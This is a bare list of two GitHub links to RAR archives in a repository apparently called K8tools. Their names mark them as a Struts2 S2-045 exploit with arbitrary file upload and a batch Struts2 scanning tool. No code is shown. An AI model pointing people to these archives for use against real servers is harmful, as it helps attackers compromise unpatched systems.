https://github.com/k8gege/K8tools/blob/master/K8-S2%E6%89%B9%E9%87%8F.rar
https://github.com/k8gege/K8tools/blob/master/K8_Struts2_EXP%20S2-045%20%26%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%2020170310.rar